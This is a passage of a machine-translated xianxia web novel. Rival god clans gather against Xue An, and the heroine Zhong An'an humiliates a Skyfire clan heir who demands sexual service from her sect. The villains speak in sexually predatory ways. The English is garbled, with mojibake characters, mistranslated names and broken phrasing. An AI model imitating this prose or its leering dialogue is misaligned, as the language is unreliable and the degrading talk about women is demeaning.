    Xue An waved his hand to prevent her from continuing to speak, and then said lightly: "I have said it very clearly before, ten days later, no matter what family family is, as long as he does not come, there is no need for him to exist! ".


    "So whether they are united or not, it will be nothing more than one sword at the time! Why bother to make such a fuss?"


    After that, Xue An stretched a long waist, "Okay, the matter is finally handled, go back to sleep!"

 Chapter 1119： 4 Fang Yundong

    Xue An is gone.


    Only Zhong Anan stood there with a dull expression on the field.


    She trembled all over until Xue An''s back disappeared, then lowered her head and laughed at herself.


    I thought I could get closer to this newly emerging young powerhouse in this way.


    I didn''t expect that all his plans would eventually fall into the empty space.


    Especially Xue An''s last sentence was nothing more than a sword, and it made Zhong Anan smile again and again.


    What is arrogance, she has seen it today.


    "But the Heavenly Fire Gods and other tycoons will never give up. If they are really united, their strength will not be inferior to the Amaterasu gods. At that time... will everything really be as smooth as you said? ?"


    Zhong An''an said softly, then shook his head, his figure flashed and disappeared into the sky.


    As these people dispersed, what happened in Amaterasu God''s Domain also spread.


    The first reaction of countless people who heard about this was not to believe it.


    After all, these facts are too incredible.


    Destroy a divine realm and annihilate the gods with one''s own power.


    How does this sound like a fairy tale!


    But then, Xue An ordered the tycoons of all parties to go to the cursed city to express their submission ten days later.


    was accompanied by the sad news that Qi Hongbo, the young master of the Skyfire God Clan, Bai Chong, the descendant of the Ancient Sword God Clan, and Ji Haoqiong, the five-pass God Clan, was destroyed by Xue An.


    This time, the whole world is a sensation.


    "What? This Xue An killed all the descendants of several great families, and let them go and submit?"


    "Yes! What do you say if you don''t go after ten days, there is no need for existence! How arrogant is this person?"


    As everyone was shocked, they couldn''t help but cast their eyes on the wealthy families of all parties.


    at the same time.


    But seeing the anger from all the tycoons, countless people were irritated by Xue An''s words.


    Ancient Sword God Race.


    Patriarch Bai Tu''s complexion was extremely gloomy, with sword aura lingering around his body, and he had cut the stone table in front of him with traces of his path, apparently he was extremely angry.


    at last.


    After he heard the news, a cold light flashed in his eyes, and a sword light directly cut the stone table in front of him into powder.


    Then he stood up and shouted angrily: "Destroy my descendant of the ancient sword **** clan, and dare to tell me to wait in the past to submit, this Xue An... is so deceptive!"


    "We actually killed Chong''er. Our Ancient Sword God Clan must avenge this revenge!" An elder of the Ancient Sword God Clan also roared fiercely.


    "That''s right, send troops now, we must completely destroy this surname Xue!"


    For a time, the whole group of Ancient Sword God was angry, and the anger was overwhelming.


    But there are sober people.


    I saw an elderly man and said in a deep voice: "My patriarch, it is said that Xue An killed all the gods of Amaterasu. This shows that this person is by no means ordinary. If you want revenge, you must plan for the long term!"


    This prompt made many people shrink their necks.


    Yes!


    I heard that Xue An is extremely domineering, and Amaterasu God Realm was destroyed in his hands.


    Although the Ancient Sword God Clan is tyrannical, it is still a little different from the Amaterasu Gods.


    "Then Elder Yi Da means..." Bai Tu calmed down at this moment, and asked in a deep voice.


    "His patriarch, the people who died in the Cursed City this time are not only the descendants of our ancient sword gods, but also the ancestors of the Heavenly Fire Gods and the Five Elements Sect, etc., especially the Heavenly Fire Gods, who died in a hundred years. Young Master Tianhuo who has been carefully trained!"


    The great elder paused, and then continued: "These great families will never give up, so I think the most important thing now is to unite these families to deal with this Xue An!"


    "Okay!" Bai Tu nodded, "I will contact the Skyfire God Clan now!"


    But when he was about to send a letter of order, he saw a ray of fire flying over the ancient sword gods with a force of thunder.


    Bai Tu''s complexion changed slightly, and with one move, the flame fell into his palm.


    When the fireworks dissipated, there was a letter paper on it.


    There are only eight simple words on the letterhead.


    Totally eliminate the enemy, but please meet.


    Seeing this letterhead, Bai Tu was taken aback for a moment, and then laughed.


    "Very good, it seems that the Skyfire God Race wants the same as us!"


    He looked around the audience and said in a deep voice: "Everyone, let''s go!"


    After he put on his sleeves, the whole person turned into a sword of light and rose into the sky.


    Behind him, the elders of the Ancient Sword God Clan jumped up and turned into sword lights, and followed the white picture.


    and in the five-way **** sect.


    When the news of Ji Haoqiong''s death came, there was a cry of ghosts and wolves in the altar, and the many monsters behind the altar shrine let out a cry of mourning.


    The leader of the teacher, Xiao Xiao, screamed up to the sky, and roared in anger, "The Five-way God Sect, this son must be destroyed!"


    After that, he will lead all the demons and gods of the Five Elements Sect on an expedition.


    At this moment, a ray of flame also spread here.


    Xiao Xiao took a look in his hand, a sneer appeared on the fierce face, and then he waved.


    "Little ones, the Skyfire God Clan invites us to go and deal with this Xue An together, in that case, let''s go this time!"


    After all, as soon as he unfolded his robe sleeves, his whole person instantly transformed into a black wind, heading straight into the sky.


    The demon gods of the Five-way God Sect also followed with a strange smile.


    Not only that.


    This flame transmission talisman is like radiant rays of light, shuttled back and forth in the world, notifying the rich and powerful families of all parties one by one.


    For a time, but seeing the clouds moving in all directions, the brilliance is shaking.


    Countless strong gods rushed in one direction.


    This is a land of red flames, and even the clouds in the sky are in the shape of flames The land is barren, and the dry and hot fume rages in it, strangling all possible vitality.


    But under this extremely harsh environment, on the edge of a desert, there stands an extremely magnificent capital city.


    The vastness of this city is even more than ten times bigger than the cursed city.


    Even the city walls are forged with precious flame red crystals.


    This also makes the entire city show a very brilliant fiery red color, looking from a distance, it really looks like a ball of soaring flames burning.


    This... is the place where the Heavenly Fire God Clan is known as the No. 1 in the Sifang Huanyu family, and even makes the Amaterasu Divine Realm a courtesy of three points.


    But at this moment.


    In the city of fire this day, the atmosphere is a bit depressed.


    Qi Hongbo''s death shocked the entire Skyfire God Clan.


    To know the long history of their Skyfire God Clan, even the Amaterasu Gods are a group of outsiders in their eyes.


    In such a long history, no one has dared to show any disrespect to them.


    The tyrannical strength is one aspect, the key is that they still control, even the extremely rare sky fire in the entire God Realm.


    Therefore, even if the deity who suppresses a domain, he has to be polite to three points when facing them.


    After all, if you want to get a ray of sky fire, you have to go through their sky fire gods. .


    So ten thousand years, not only allowed the Fire God Race to accumulate unimaginable wealth, but also made the entire Sky Fire God Race extremely arrogant.


    But this time, the death of Tianhuo Young Master Qi Hongbo was like a loud slap that slapped everyone in the Tianhuo Divine Race.

 Chapter 1120： Tianhuo Shenxuan

    "I think my Skyfire God Clan has stood here for thousands of years, and no one has ever dared to provoke me! The identity of the young master is even more distinguished, but in the end I was killed by a kid who didn''t know where to jump out! This is simply never before! It''s a shameful shame!" An elder roared angrily in the Tianhuo Shenxuan located in the middle of Tianhuo City.


    Other people in the ������ could not help but nod when they heard this.


    "Yes, my Skyfire God Clan must remove this child, otherwise it will damage the reputation of my clan for so long!"


    "Swear to kill!"


    There was a tumult in the Tianhuoshenxuan.


    At this moment, he heard a calm voice.


    "All right!"


    In the Sky Fire God Xuan, there was an instant silence.


    But seeing a figure slowly emerging from the seat in the middle.


    is a middle-aged man who is not angry with himself, and there is a flame mark in the middle of his forehead, which is even more awe-inspiring and dare not look directly.


    When they saw this man, everyone bowed and saluted.


    "I have seen the patriarch!"


    That''s right!


    This man is the Lord of the Skyfire God Clan, Qi Sixiang.


    Qi Hongbo, who was killed by Xue An, was also his son.


    I saw these Qi Sixiang gods like electricity, scanning the audience, and said indifferently: "This Xue An must of course be eliminated, but since this son dares to be so arrogant, he must have extraordinary abilities. Amaterasu gods are examples. , So don��t rush this matter!"


    "Yes!" everyone responded in unison.


    Then Qi Sixiang''s eyes flowed, and he looked at a young man standing in front of the crowd, bowing his head.


    "Xuanfeng, I order you to inform the great families of Sifang Huanyu, can you inform?"


    The young man stepped forward when he heard the words, and said, "Father, I have followed what you said, and I have notified you all without missing a word!"


    Qi Sixiang nodded slightly, "Very well, how did the wealthy clans respond?"


    "The ancient sword gods passed back the spirit sword, they were already on their way, and the five-way gods sect also sent to pass on the ghosts and told them when they would arrive. The other rich clan basically responded, but..."


    "Just what?"


    Qi Xuanfeng hesitated for a while, and then said in a deep voice: "Only the Taiyin Protoss has not yet responded!"


    "Taiyin Protoss?" Hearing this name, Qi Sixiang raised his eyebrows slightly, a playful look appeared on his face.


    The atmosphere in ���� Tianhuoshenxuan also became a bit weird.


    "Hehe, this Taiyin Protoss actually dared to disobey what I was waiting for? Isn''t this group of ladies living too comfortable for nearly a thousand years, right?" An elder sneered inwardly.


    "I think the same is true, or let''s just take this opportunity to annex this Taiyin Protoss! After all... Although the Taiyin Protoss is not strong enough, those little ladies can be tight!" There is another wretched face. Elder Jie Jie said with a strange smile.


    His words caused many people in the court to show a weird smile, and many people even shined, thinking that this proposal is very good.


    The reason why the people of the Skyfire God Clan would be so disdainful of the Taiyin God Clan, and even salivating, is to start with the origins and grievances between the two factions.


    In fact, it can be seen from the literal meaning that the Fire God Race and the Lunar God Race are two diametrically opposed sects.


    The Skyfire God Clan has controlled the Skyfire Abyss for thousands of years, and its strength and connections are unfathomable.


    Moreover, the strong clan came out in large numbers, and the strength was extremely tyrannical, which made him become the veritable first clan in the Quartet.


    The Taiyin Protoss is just the opposite. If the Skyfire Protoss is a raging flame, then the Taiyin Protoss is the ice that never changes.


    The Heavenly Fire God Clan was built on the Tianhuo Desert, and the Taiyin God Tribe��s territories were located beside the Taiyin Pool.


    The two are not only diametrically opposed to each other, but also their behavior styles.


    According to ancient rumors, the strength of the Taiyin Protoss was extremely tyrannical at the beginning, and it was even not inferior to the Skyfire Gods, and even the legend that the Skyfire Taiyin was tied for the first noble family.


    But for various reasons, the Lunar Protoss began to decline rapidly.


    Nowadays, it has been reduced to a very inconspicuous noble family in the Quartet universe, and even if it hadn''t been for a mysterious woman Tianjiao Zhong An''an who had appeared in the past 100 years, he might have been kicked out of the noble family and became an ordinary force.


    Therefore, when the Skyfire God Clan mentioned this Lunar God Clan, there was a lot of disdain in his words.


    In addition, the Taiyin Protoss is a pure nun sect. All the disciples are women with profound yin aura. For those who practice the secret of sky fire, these women of the Taiyin Protoss are simply walking tonics.


    Because of these various reasons, they would salivate so much after hearing Qi Xuanfeng''s words.


    There was also a chill in the eyes of Qi Sixiang.


    In the past, out of fear of fame, Qi Sixiang didn''t want to do too much, but now suddenly there has been a young strong man who dared to challenge the rich and powerful.


    If the Qi and Sixiang want to unite the rich and powerful, they have to erase all the discordant sounds.


    But do it now....


    Qi Sixiang felt a little uncertain.


    This Qi Xuanfeng seemed to see his father''s hesitation, his eyes lit up slightly, and then said respectfully: "Father, it''s better to let me go to this Taiyin Protoss myself. It would be better if they obediently, if they dare to defy me, etc. The order Then we will send troops to annihilate, and outsiders can''t say anything. What do you think?"


    Qi Sixiang took a deep look at his second son after listening.


    When his eldest son Qi Hongbo was still there, all the light of Qi Xuanfeng was concealed by his brother.


    And this Qi Xuanfeng''s performance is exactly the same as everyone''s expectation, and he does not want to practice cultivation all day long.


    For a long time, in the eyes of many people, this Qi Xuanfeng is almost useless except for the second young master of the Skyfire God Clan.


    Even Qi Sixiang feels that his little son is dead.


    Unexpectedly, when Qi Hongbo died, Qi Xuanfeng suddenly changed his temperament.


    For example, what I am saying now is very tactical.


    Not only Qi Sixiang, other people in Tianhuo Shenxuan also looked at Qi Xuanfeng with surprise and inexplicable eyes.


    Under the gaze of his father and everyone else, Qi Xuanfeng bowed his head, his face hidden in the shadows, he could not see the slightest sorrow and joy.


    After a while, Qi Sixiang nodded, "Alright, then you can go there!"


    "Yes, father!" Qi Xuanfeng replied respectfully, but there was a glimpse of undetectable pride in his eyes, and then he bowed and exited the Tianhuoshenxuan.


    When he left, there was a little quiet in the Tianhuo Shenxuan, and then he heard an elder smile complimentarily: "Although the young master has fallen, it seems that the second young master is not the thing in the pool!" .


    For a time, there were compliments in the Tianhuo Shenxuan.


    The four elephants of Qi laughed, and their faces were quite proud.

 Chapter 1121： Lunar Protoss

    And when Qi Xuanfeng withdrew from Tianhuo Shenxuan, the dog legs attached to him greeted him.


    "Second Young Master!"


    "Master Xuanfeng!"


    Among the crowd, Qi Xuanfeng, who had been bowed, gradually straightened his body. Looking at him at this moment, the humility and respect on his face have long disappeared. Instead, his face is full of pride and pride.


    "How about the Second Young Master? What did the patriarch and the elders say?"


    Qi Xuanfeng nodded, then proudly said: "When I spoke, my father naturally agreed on the spot!"


    As he said, he looked at his men and said lightly: "Clean up, let''s go to the Taiyin Protoss now!"


    The evil slaves all lifted up when they heard the words, "Yes!"


    For them, being able to go to the Taiyin Protoss is just like playing, and maybe even soak a beautiful female nun in the Taiyin Protoss!


    So one by one, like wolves and tigers, they couldn��t wait to organize everything, and then set off with Qi Xuanfeng.


    Compared to other wealthy tribes, the territories of the Taiyin Protoss are not too far away from the Tianhuo Desert.


    In addition, Qi Xuanfeng led a group of evil slaves to drive a flying boat, so it took only half a day to reach the location of the Taiyin Pool.


    The scenery here is completely different from the sky fire desert.


    But seeing the vast water surface beneath my feet, along the way, I saw islands dotted with it from time to time.


    And the whole world is full of soft water system spiritual power, which gives birth to vitality in this large lake as wide as the ocean.


    At least there are trillions of aquatic creatures living in them.


    Such a scene also stunned Qi Xuanfeng and others.


    For them who are used to seeing the bare desert, the scenery here is simply too beautiful.


    "No wonder they say that the women of the Taiyin Protoss are beautiful. I was a little unbelieving before. Now it seems that it is not a lie. After all, to live in such a place, even the ugly monsters have to become beautiful after a long time!" Qi Xuanfeng exclaimed.


    One of his slaves chuckled and said, "Second Young Master, you came here with the order of the patriarch. If these little ladies are acquainted, they won��t be able to serve you like a god? By then, it��s not your second master. A word?"


    "That''s right, this time the second young master is going to enjoy the most beautiful blessings!" someone next to him echoed.


    Qi Xuanfeng sullen his face, "Nonsense! I''m here this time, but I have business affairs!"


    These evil slaves were so scared that they all closed their mouths.


    But immediately, this Qi Xuanfeng licked his lips and said righteously: "Of course, after the main business is done, you have to relax!"


    These evil slaves were startled first, and then they all laughed and said, "The second master said the extreme!"


    Just as the topics they were talking about were getting more and more unbearable.


    The flying boat that he was driving suddenly stopped, and then he heard a soft drink from the front.


    "The comer stops, the front is the territory of my lunar protoss!"


    Followed the voice, but saw a soft water curtain firmly blocking the flying boat.


    Qi Xuanfeng suddenly stood up when he saw it, and through the porthole, two figures standing in the air could be seen in front of him.


    As soon as they saw these two people, there was a whistle in the flying boat.


    "Hey, no wonder they say that there are many beautiful women in the Taiyin Protoss. It really is true, even the gatekeeper is so stunning!"


    "Hey, let''s follow the second young master as a beautiful blessing!"


    The reason why these evil slaves are so excited is all because the two women blocking the road are very delicate.


    Although it looks young, but the more so, the more delicate and pleasant.


    At this time, a leading female disciple shouted in a deep voice: "Who is the one who came, why come to my Taiyin Protoss?"


    Hearing this shout, Qi Xuanfeng smiled slightly, his figure flashed, and he walked out of the flying boat and came to the outside world.


    "Qi Xuanfeng, the second young master of the Skyfire God Clan, came here to worship the mountain!" Qi Xuanfeng said proudly.


    Upon hearing these words, the two women changed their colors.


    What the sky fire gods means, they naturally know very well.


    What''s more, the person who came is still the second young master of the Skyfire God Clan, and this status cannot be taken lightly.


    So the two of them both gave a sigh of relief, and then said, "It turns out that it is the Second Young Master of Tianhuo, please wait a moment, we will go back and report!"


    Qi Xuanfeng watched these two women greedily, especially the mysterious atmosphere emanating from them made Qi Xuanfeng feel very comfortable, so he nodded with a smile after hearing the words.


    "Good too!"


    But when the two women were about to go back to report the letter, they heard a cold female voice across the vast water and reached everyone''s ears.


    "You don''t have to report, since Master Xuanfeng is here, please come in!"


    This female voice shocked the two women, and then nodded at Qi Xuanfeng, "Er Young Master Qi, the speaker just now is my senior sister, please come with me!"


    said, a halberd appeared in the hands of the two of them, and with a stroke behind them, an invisible water curtain was lifted.


    "Please come in!"


    Qi Xuanfeng''s complexion was slightly ugly.


    can be respected as a master sister by this female disciple of the gatekeeper, and the identity of the female voice just now seems to be revealed.


    is known as the most talented woman of the Taiyin Protoss for thousands of years, and is even known as the most outstanding woman in Sifang Huanyu for thousands of years.


    The goddess of the Taiyin Protoss, Zhong Anan.


    But because of this, Qi Xuanfeng felt very uncomfortable.


    Because she actually came here only through the voice transmission but did not come out in person.


    In his opinion, if his elder brother, Tianhuo Young Master Qi Hongbo came here, Zhong An''an would definitely come out to welcome him personally.


    When it was his turn, it became a simple voice transmission.


    This naturally made this Qi Xuanfeng full of discomfort, so he hummed slightly and walked into it boldly.


    The water system inside ���� has more spiritual power, and the lake underneath is getting deeper and deeper, even exuding layers of cold air.


    This is the foundation for the survival of the Taiyin Protoss, Taiyin Pool!


    In the middle of Taiyin Pool, it is a huge island.


    There are countless exquisite buildings on the island, which looks very shocking.


    But it can be seen that many of these buildings have fallen into disrepair for a long time and have lost their former glory.


    This also shows the dilemma of the Taiyin Protoss.


    When Qi Xuanfeng came to the front of the island, he saw brilliance rising in the island.


    Headed by ����, it is Xuan Nv Tianjiao Zhong An''an.


    Zhong An''an''s eyes lightly moved, and then he bowed his hand at Qi Xuanfeng, "I have seen Master Xuanfeng!"


    Qi Xuanfeng snorted coldly from his nostrils, but his eyes were involuntarily attracted by Zhong An''an.


    without him.


    is really because this Zhong Anan is so pretty.


    For him who has a good sex, Zhong An''an''s beauty makes him even a little obsessed. .


    Therefore, his eyes became somewhat unscrupulous.


    In response, Zhong Anan just looked down and smiled, "Master Xuanfeng, please come in!"

 Chapter 1122： Killing the chicken and the monkeys conspiracy failed

    The living room of the Taiyin Protoss is not luxurious, but the decoration is very elegant and delicate.


    Qi Xuanfeng gradually regained consciousness after someone offered tea.


    At this time, Zhong An''an said softly: "But I don''t know if Master Xuanfeng came to my Taiyin Protoss, what''s the matter?"


    Qi Xuanfeng''s gaze gradually calmed down, and then he leaned back on the chair to drink tea in his leisure time.


    became quiet in the living room.


    Many disciples of the Taiyin Protoss stood silently behind Zhong An''an, watching this Qi Xuanfeng drinking tea.


    After a while, Qi Xuanfeng sighed in contentment, "Good tea! I really didn''t expect your Taiyin Protoss to have such good tea!"


    Zhong Anan smiled faintly, "This tea is wild tea naturally grown in the Taiyin Pool. It is indeed quite flavorful. If Master Xuanfeng likes it, I can give you some when I leave!"


    Qi Xuanfeng smiled non-committal, "If that''s the case, I would be embarrassed!"


    Zhong Anan smiled, "It''s just a few tea leaves, why should Master Xuanfeng be so polite!"


    As soon as he finished speaking, he saw Qi Xuanfeng, who had a soft smile on his face, suddenly slapped the table and said coldly: "Miss An''an, can you be convicted?"


    All the people in the audience were disillusioned by these questions, but Zhong An''an was not moved at all, still looking at Qi Xuanfeng indifferently.


    "Master Xuanfeng, what does it mean that we can be convicted?"


    "Haha!" Qi Xuanfeng leaned on the chair, staring coldly at Zhong An''an, "Miss An''an, we are all smart people, so don''t talk in circles anymore! You have received the Sacred Fire Order from my Skyfire God Clan before. ?"


    The atmosphere suddenly became tense.


    Everyone''s eyes focused on Zhong An''an.


    Zhong Anan''s eyes drooped, and after a while, he nodded gently, "I received it!"


    Qi Xuanfeng''s expression was cold, and then he sneered: "Since I have received it, why has the Taiyin Protoss never responded?"


    Zhong An was silent.


    Qi Xuanfeng continued: "You know, my father is very talented and has issued a hundred thousand divine fire order to summon all the wealthy families in the Quartet world to jointly deal with that Raoshi son Xue An! The ancient sword gods, the five-way gods, and the four big teachers have already done it. In response, you, the Taiyin Protoss, remained silent and did not make any statements! What does this mean? I think Miss Zhong can give me an explanation!"


    "That''s right! The second young master came to worship the mountain in person, but you didn''t even come out of the mountain gate. This attitude is extremely negligible! It can be seen that your Taiyin protoss did not take our second young master in their eyes at all!" said a slave. .


    At this moment, the faces of many disciples of the Taiyin Protoss became a little ugly.


    Especially the silence of the elder sister Zhong An''an, which made many people feel disgraced.


    But this fell in the eyes of Qi Xuanfeng, but it was Zhong Anan''s disguised expression of softness.


    Therefore, his eyes gradually showed pride, and then said in a cold tone: "Miss Zhong, you know that my father was furious about this matter, and even sent someone to punish you. My father is temporarily relieved! But if you want to cover up this matter, then..."


    Qi Xuanfeng looked at the stunning beauty that filled the room, and licked his lips greedily, "You have to pay a price. I will have a good relationship after I go back, right?"


    "Oh? The price, what is the price?" Zhong Anan asked suddenly.


    Qi Xuanfeng was determined in his heart, thinking that his previous guesses were correct. This Zhong An''an was obviously afraid, so he said in a playful tone.


    "I''m very tired when I''m waiting for a long distance. If there is an expensive lady who waits and rests, I think there is room for negotiation on this matter!"


    The words came out.


    The many women of the Taiyin God Sect changed their expressions, and then they all focused on Zhong An''an.


    Qi Xuanfeng sneered slightly: "Miss An''an, what do you think?"


    At this moment, I saw Zhong An''an Huo Ran raising his head, looking at Qi Xuanfeng coldly, and said coldly: "First of all, I want to tell you that my Taiyin Protoss is not a subordinate or doorman of your Skyfire Protoss, so it is not your turn to come. condemn!"


    "Secondly, I did receive your sacred fire order, but I don''t think your union will be successful this time, so our Taiyin Protoss is not ready to participate!"


    "Finally..." Zhong An''an looked up and down Qi Xuanfeng, a look of disgust and disdain appeared on his face, "With your virtue, you are also worthy to covet the woman of my Taiyin Protoss? I really don''t know how high and deep!"


    As soon as Zhong An��an said these words, the audience instantly calmed down, and Qi Xuanfeng was shocked on the spot. He didn''t recover until a moment later, and then said angrily: "What did you say? Do you have the ability to say it again?"


    Zhong Anan looked at him coldly, "I have already said very clearly, our Taiyin Protoss, it is not your turn to wait for your fingertips!"


    "You..." Qi Xuanfeng couldn''t believe his ears.


    He thought that this trip to the Taiyin Protoss would be a relaxed and happy journey, even full of affair.


    And the reason why he wanted to take the initiative to come here was also because he wanted to use the Lunar Protoss to kill chickens and monkeys and establish his prestige.


    After all, his elder brother Qi Hongbo is dead, and now he is the well-deserved number one successor to the Skyfire God Clan so he will change his previous concealment and start trying to emerge.


    Unexpectedly, the first attempt hit a wall.


    Especially Zhong An''an, he took himself back without mercy. If he can''t fight back now, then he, the second young master of the Skyfire God Clan, will do it.


    Thinking of this, his face gradually became solemn, and he said gloomily, "Miss Zhong, I hope you can understand what you are talking about!"


    Zhong An''an took a deep breath, "Of course I know! In fact, I have been holding these words in my heart for a long time, and I have long wanted to tell your self-righteous Skyfire Gods!"


    This time, not only Qi Xuanfeng was shocked.


    Even the people of the Taiyin Protoss clan are all dumbfounded.


    In the past, the Taiyin Protoss always gave in and forbeared repeatedly when facing the Skyfire Protoss.


    Even if Zhong An Angui is the Profound Girl Tianjiao, when he encounters Tianhuo Young Master Qi Hongbo, he has to take the initiative to retreat aside, and never dare to neglect the slightest.


    But what happened to this master sister today?


    Why is it so fierce all of a sudden that even the second young master of the Skyfire God Clan dared to face him face-to-face?


    But no matter what, the many disciples of the Taiyin Protoss were still greatly encouraged by this, and even looked at Zhong An''an with a face full of worship.


    Qi Xuanfeng was about to be blown up. .


    In his opinion, the reason why Zhong An''an has such an attitude must be because he is the second young master of Tianhuo.


    You must know that when she faced her brother before, she never dared to have such an attitude.

 Chapter 1123： The disciple felt that he was innocent

    Thinking of this, Qi Xuanfeng became even more angry, "Oh, you bitch, I will let you know today that the Skyfire God Clan is so powerful! Go!"


    gave an order.


    The group of evil slaves behind Qi Xuanfeng rushed forward.


    For them, this Zhong An''an is also known as the arrogant talent, but she is nothing more than a better woman.


    There are so many people on my side, and I can definitely win this woman.


    Besides, Zhong An��an is so pretty. When he starts fighting, he can take advantage of the opportunity.


    With this thought, these evil slaves all rushed up with a smile.


    But before the smiles on their faces fully bloom, their figures solidified one by one.


    Seeing the cold light flashing on Zhong Anan''s body, an extremely cold yin air swept across, directly freezing the gang of evil slaves into ice sculptures.


    Snapped!


    Cracks appeared on these ice sculptures, and then they turned into powder.


    was just a blow, and all these evil slaves were killed on the spot.


    This time, Qi Xuanfeng''s turn was dumbfounded.


    He looked at the powder on the ground blankly, then raised his head to look at Zhong An''an viciously.


    "Bitch, you dare to kill my Skyfire God Clan, it seems you are really tired of living! I will teach you a lesson today."


    As he said, Qi Xuanfeng raised his palm and blasted a note.


    But I saw the scorching wind and the heat wave.


    A palm wind blew straight.


    But Zhong An''an didn''t even move. As soon as this palm wind reached halfway, he was restrained by the cold air that appeared in the void, and finally disappeared invisible.


    "This...this..." Qi Xuanfeng''s eyes widened in an instant, and he looked at this scene somewhat inconceivably.


    Zhong Anan smiled coldly, ��It��s really hard for you to think about using the Skyfire Yanjue in my Taiyin Pool! Let alone you, even if your father comes here, your strength will have to be weakened by half!��


    Qi Xuanfeng shocked all over, and finally understood what was going on.


    It turned out that within the range of this Taiyin Pool, all other spiritual powers except the water spiritual power were suppressed, especially the fire spiritual power, which was weakened to the extreme.


    Even if he has the ability to reach the sky, it is difficult to use it.


    But soon, he regained consciousness, and then sneered at Zhong An Anyin.


    "Very good, your Taiyin Protoss is doing very well! I will definitely inform my father when I go back, and I hope you will not regret it when that happens!"


    After that, he turned around and left.


    "Wait!" Zhong Anan suddenly stopped him.


    "Huh?" Qi Xuanfeng turned around and looked at her coldly, "What? Could it be that you people from the Taiyin Protoss still want to kill me?"


    Zhong Anan shook his head, "Of course I won''t kill you! But you just uttered an insult to my Taiyin Protoss, you must have an explanation!"


    "Explain? What a joke, what do you want to explain?" Qi Xuanfeng sneered disdainfully.


    can be at this moment.


    When Zhong Anan suddenly rushed to Qi Xuanfeng, he slapped his hand twice.


    Happiness!


    After ���� fanning, Qi Xuanfeng''s face was already swollen.


    The audience was surprised.


    Qi Xuanfeng looked at Zhong An''an in disbelief.


    "You...you dare to hit me?"


    "It''s you who hit you! My old lady has seen you guys upset!" Zhong Anan smiled coldly, and then said.


    "Go back and tell your father, it is not your turn to intervene about my Taiyin Protoss! Understand?"


    Qi Xuanfeng wanted to say something hard, but when he saw Zhong An''an raising his hand again, he couldn''t help but tremble all over, then hurriedly nodded.


    "get out!"


    Qi Xuanfeng turned around and ran.


    He didn''t turn around until he had already left the area of ??the Taiyin Pond, and roared with a bitter face: "The surname Zhong, you wait, this matter is definitely not over, our Skyfire God Clan will definitely make you pay the price !"


    At this time, Zhong An''an raised his hand with another palm, and saw a cold light rushing towards Qi Xuanfeng.


    Qi Xuanfeng screamed in shock, turned around and left in a hurry.


    When his figure disappeared completely, Zhong Anan looked back.


    At the same time, there were waves of applause in the meeting room.


    These female disciples clapped from the bottom of their hearts, with a look of worship.


    Zhong Anan smiled at these people slightly.


    But at this moment, I heard an angry voice of an old woman coming from behind the island.


    "Zhong Anan, come over here!"


    This voice made the faces of all female disciples pale.


    Because it is the elder Xuanhun who is in charge of punishment in the Taiyin Protoss.


    She has a weird temper, and all the disciples are afraid of her.


    And she and Zhong An''an have been a little at odds.


    Calling her openly this time, I guess there will be no good things.


    In the worried gaze of all the disciples, Zhong An''an smiled lightly, and then went straight to the back mountain.


    Taiyin gods are divided into the front mountain and the back mountain. The front mountain is where the disciples practice, and the back mountain is where the elders live.


    The penalty hall is located in this back mountain.


    When Zhong Anan walked into this penalty hall, all the elders of the Taiyin Protoss had already arrived and were discussing.


    When I saw Zhong An''an, these discussions stopped.


    Zhong Anan kept his eyes open, and said, "I have seen all the elders!"


    There was silence in the field.


    Many elders looked at Zhong An''an with complicated eyes.


    For the most outstanding disciple of the Taiyin Protoss these elders are naturally full of love.


    But this time... she did a little too much.


    As expected.


    I saw Elder Xuanhun sitting in the middle suddenly slapped the table and said angrily: "Zhong Anan, stop talking nonsense, I ask you, what did you do just now?"


    Zhong An slowly raised his head, his eyes were clear and said: "Elder Xuanhun, what are you referring to?"


    Elder Xuanhun was anxious, "Don''t you pretend to be a fool here, but did the Skyfire God Clan arrive just now?"


    "That''s right!"


    "Then how did you deal with it?"


    Zhong An''an was silent for a moment, and then said lightly: "He was rude and beaten by me!"


    These words caused a commotion among the elders.


    Xuanhun was even more angry and smirked, "You ran away? Do you know what you are doing?"


    Zhong An''an nodded, "The disciple knows!"


    "Disciple? Do you still know that you are a disciple? Although the patriarch said that you can partly control the affairs of your clan before retreating, you are too arrogant!"


    Speaking of this, Xuanhun''s face showed a cold expression, "Do you know that your various actions will make my Taiyin Protoss into a place where no one can recover?"


    "So... are you convicted?"


    The audience was silent.


    Although many elders felt sorry for Zhong An''an, what this mysterious soul said was true. .


    This offends the Skyfire God Race, and it is very likely that the Taiyin God Race, which is already at a disadvantage, will be destroyed.


    But at this moment, facing Xuanhun''s questioning, Zhong Anan shook his head, "The disciple feels that he is innocent!"

 Chapter 1124： All-or-one

    "Not guilty? Ha ha, what do you mean by guilty?" Xuanhun sneered again and again.


    As the elder of the penalty hall, she was very dissatisfied with this Zhong Anan.


    Because she originally thought that after the patriarch was retired, she would be in charge of this lunar protoss, but she never expected that the patriarch would actually hand over power to this stinky yellow-haired girl.


    This naturally made her annoyed, always thinking of giving Zhong Anan some color.


    But Zhong An Anping is very popular among the Taiyin Protoss, and she acts very calmly. She can''t pick out any problems, so she has to hold back.


    It wasn''t until this incident that she had a chance to take advantage of it, so she naturally wanted to hold on to it and ask what happened.


    Zhong An''an raised his head to look at Xuanhun, and said lightly: "Elder Xuanhun, you said that my behavior will make my clan fall into a disaster! But in my opinion, I am saving my clan!"


    This is not only the mysterious soul, all the elders are startled.


    "An An, why do you say that?" an elder asked eagerly.


    Zhong An''an lowered his eyes, and chuckled lightly after a moment of silence, "It''s very simple! This time, the Heavenly Fire God Clan, the Ancient Sword God Clan, the Five Channel God Clan, and other wealthy tribes seem to unite everyone in the name of fighting Xue An together. In fact, they are integrating power in this way!"


    Integrating power?


    This sentence made many elders look upset.


    Only Xuanhun said with a sneer: "Oh? How to integrate power? What does this have to do with our Taiyin Protoss?"


    Zhong Anan took a deep look at the elder Xuanhun, "It''s very simple, now that the realm of God has become an airspace today, such a big cake naturally attracts countless tycoons!"


    "As the leaders of the Heavenly Fire Gods and Ancient Sword Gods, they naturally want to eat the whole cake! But the premise is that they must integrate all their power!"


    "And in order to achieve this goal, they will definitely take action on many small and powerful families!"


    "It''s the same as big fish eating small fish and small fish eating dried shrimps! In this case, how long do the elders think our Taiyin Protoss can last?"


    After hearing Zhong An''an''s words, everyone''s complexion became hard to look.


    Only Elder Xuanhun sneered and wanted to say something, but was preempted by an elder on the side.


    "An An, do you mean that the Heavenly Fire God Clan summoned the wealthy clan from all over the world this time, did you have a good heart?"


    Zhong An''an nodded, "That''s right! And my Taiyin Protoss is not the same. We have grievances and entanglements with the Fire Gods on this day, we are very close, and most importantly..."


